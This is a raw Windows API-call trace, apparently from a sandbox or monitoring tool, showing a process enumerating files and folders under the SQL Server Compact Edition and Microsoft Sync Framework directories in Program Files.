	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.528] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x12866c88 | out: lpFileInformation=0x12866c88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.530] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceca35.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866cd8 | out: lpFileInformation=0x12866cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840)) returned 1
	[0053.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcecompact35.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866d28 | out: lpFileInformation=0x12866d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040)) returned 1
	[0053.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceer35en.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866d78 | out: lpFileInformation=0x12866d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440)) returned 1
	[0053.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceme35.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866dc8 | out: lpFileInformation=0x12866dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40)) returned 1
	[0053.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceoledb35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceoledb35.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866e18 | out: lpFileInformation=0x12866e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40)) returned 1
	[0053.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceqp35.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866e68 | out: lpFileInformation=0x12866e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40)) returned 1
	[0053.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcese35.dll"), fInfoLevelId=0x0, lpFileInformation=0x12866eb8 | out: lpFileInformation=0x12866eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640)) returned 1
	[0053.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), fInfoLevelId=0x0, lpFileInformation=0x12866f08 | out: lpFileInformation=0x12866f08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xecab7060, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecab7060, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xecab7060, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecab7060, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xecab7060, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecab7060, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dee7fb0, ftCreationTime.dwHighDateTime=0x1d4efb0, ftLastAccessTime.dwLowDateTime=0xb8428970, ftLastAccessTime.dwHighDateTime=0x1d4b944, ftLastWriteTime.dwLowDateTime=0xb8428970, ftLastWriteTime.dwHighDateTime=0x1d4b944, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="floppy-perl-victims.exe", cAlternateFileName="FLOPPY~1.EXE")) returned 1
	[0053.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0053.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.532] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\floppy-perl-victims.exe" (normalized: "c:\\program files\\microsoft sync framework\\floppy-perl-victims.exe"), fInfoLevelId=0x0, lpFileInformation=0x12866ff8 | out: lpFileInformation=0x12866ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dee7fb0, ftCreationTime.dwHighDateTime=0x1d4efb0, ftLastAccessTime.dwLowDateTime=0xb8428970, ftLastAccessTime.dwHighDateTime=0x1d4b944, ftLastWriteTime.dwLowDateTime=0xb8428970, ftLastWriteTime.dwHighDateTime=0x1d4b944, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0053.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x12867048 | out: lpFileInformation=0x12867048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1
	[0053.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1
	[0053.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.533] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), fInfoLevelId=0x0, lpFileInformation=0x12867138 | out: lpFileInformation=0x12867138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0053.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.534] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.534] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x128671d8 | out: lpFileInformation=0x128671d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1
	[0053.535] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.535] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
